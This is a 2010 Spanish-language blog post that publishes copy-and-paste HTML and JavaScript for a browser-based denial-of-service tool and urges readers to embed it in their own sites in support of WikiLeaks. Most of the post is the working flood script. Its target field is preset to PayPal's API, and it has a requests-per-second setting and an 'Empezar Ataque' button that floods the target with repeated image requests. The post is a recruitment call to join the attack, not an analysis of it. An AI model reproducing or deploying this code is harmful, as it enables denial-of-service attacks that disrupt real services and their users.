viernes, 10 de diciembre de 2010

Código para ciberataques

 ATENCIÓN

COPIA Y PEGA ESTE CODIGO EN TU PÁGINA O BLOG

NECESITAMOS TU AYUDA

<h2 style="font-size:15px;color:#1177CC;">
No necesitas descargar, instalar o configurar absolutamente nada. Tan solo pulsa el botón azul, sientate y disfruta del espectáculo.
</h2>
<h2 style="font-size:15px;">
No need to download, install or setup anything - just click the button, sit and enjoy the show.</h2>
<div style="width:100%; height:100%;">
<div style="width:240px; height:100px;">
<fieldset style="width:100%; height:100%;">
<legend>Paso 1. Selecciona el objetivo:</legend>
<label>URL:
<input id="targetURL" style="width:100%;" value="https://api.paypal.com:443/" /></label>
<small>Para ver el objetivo actual entra en: <a href="http://anonops.net/" style="color:#FFF;">http://anonops.net/</a></small>

</fieldset>
</div>


<div style="width:240px; height:100px;">
<fieldset style="width:100%; height:100%;">

<legend>Pasop 2. ¿Preparado?</legend>
<button id="fireButton" style="background-color:#336494; border-color:#FFF; color:#FFF; width:240px; height:70px; margin-top:-22px;">Empezar Ataque</button>
</fieldset>
</div>


<div style="width:240px; height:160px;">
<fieldset style="width:100%; height:100%;">
<legend>Optional. Options</legend>

<label>Respuestas por Segundo: <input style="width:40px;" id="rps" value="10" /></label>

<label>Añade un Mensaje:
<input style="width:100%;" id="message" value="" /></label>
</fieldset>
</div>

<div style="width:240px; height:160px;">
<fieldset style="width:100%; height:100%;">
<legend>Estado del Ataque:</legend>
<dl>
<dt>Respuestas:</dt>
<dd id="requestedCtr">0</dd>
<dt style="opacity: 0.5">Realizadas con éxito:</dt>
<dd style="opacity: 0.5" id="succeededCtr">0</dd>
<dt style="opacity: 0.5">Fallidas:</dt>
<dd style="opacity: 0.5" id="failedCtr">0</dd>          </dl>
</fieldset>
</div>

<div style="font-size:14px;">
We need your help in support of <a href="http://wikileaks.ch/" style="color:#1177CC;">wikileaks</a> leave this page firing as long as you can.  Don't worry if requests show as failed.
</div>

<div style="font-size:14px;">
Necesitamos tu ayuda para poder dar soporte a <a href="http://wikileaks.ch/" style="color:#1177CC;">wikileaks</a> deja que la página se lance todo el tiempo que puedas.  No te preocupes si las respuestas aparecen como fallidas.

Vía <a href="http://213.163.66.134/wikileaks/flood.html" style="color:#1177CC;">http://213.163.66.134/wikileaks/flood.html</a>
</div>
</div>
<script>
        (function () {

            var fireInterval;
            var isFiring = false;

            var requestedCtrNode = document.getElementById("requestedCtr"),
                succeededCtrNode = document.getElementById("succeededCtr"),
                failedCtrNode = document.getElementById("failedCtr"),
                targetURLNode = document.getElementById("targetURL"),
                fireButton = document.getElementById("fireButton"),
                messageNode = document.getElementById("message"),
                rpsNode = document.getElementById("rps"),
                timeoutNode = document.getElementById("timeout");

            var targetURL = targetURLNode.value;
            targetURLNode.onchange = function () {
                targetURL = this.value;
            };

            var requestsHT = {}; // requests hash table, may come in handy later

            var requestedCtr = 0,
                succeededCtr = 0,
                failedCtr = 0;

            var makeHttpRequest = function () {
   
     if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
      return;
     };
    
                    var rID =Number(new Date());
                    var img = new Image();
                    img.onerror = function () { onFail(rID); };
                    img.onabort = function () { onFail(rID); };
                    img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
    
     img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
                    requestsHT[rID] = img;
                    onRequest(rID);
                };

            var onRequest = function (rID) {
                    requestedCtr++;
                    requestedCtrNode.innerHTML = requestedCtr;
                };

            var onComplete = function (rID) {
                    delete requestsHT[rID];
                };

            var onFail = function (rID) {
                   // failedCtr++;
                    //failedCtrNode.innerHTML = failedCtr;
    
     succeededCtr++; //Seems like the url will always fail it it isn't an image
                    succeededCtrNode.innerHTML = succeededCtr;


                    delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
                };

            var onSuccess = function (rID) {
                    succeededCtr++;
                    succeededCtrNode.innerHTML = succeededCtr;
                    delete requestsHT[rID];
                };

            fireButton.onclick = function () {
                if (isFiring) {
                    clearInterval(fireInterval);

                    isFiring = false;
                    this.innerHTML = "IMMA CHARGING MAH LAZER";
                } else {
                    isFiring = true;
                    this.innerHTML = "Stop flooding";

                    fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
                }
            };

        })();
    </script>

No hay comentarios:

Publicar un comentario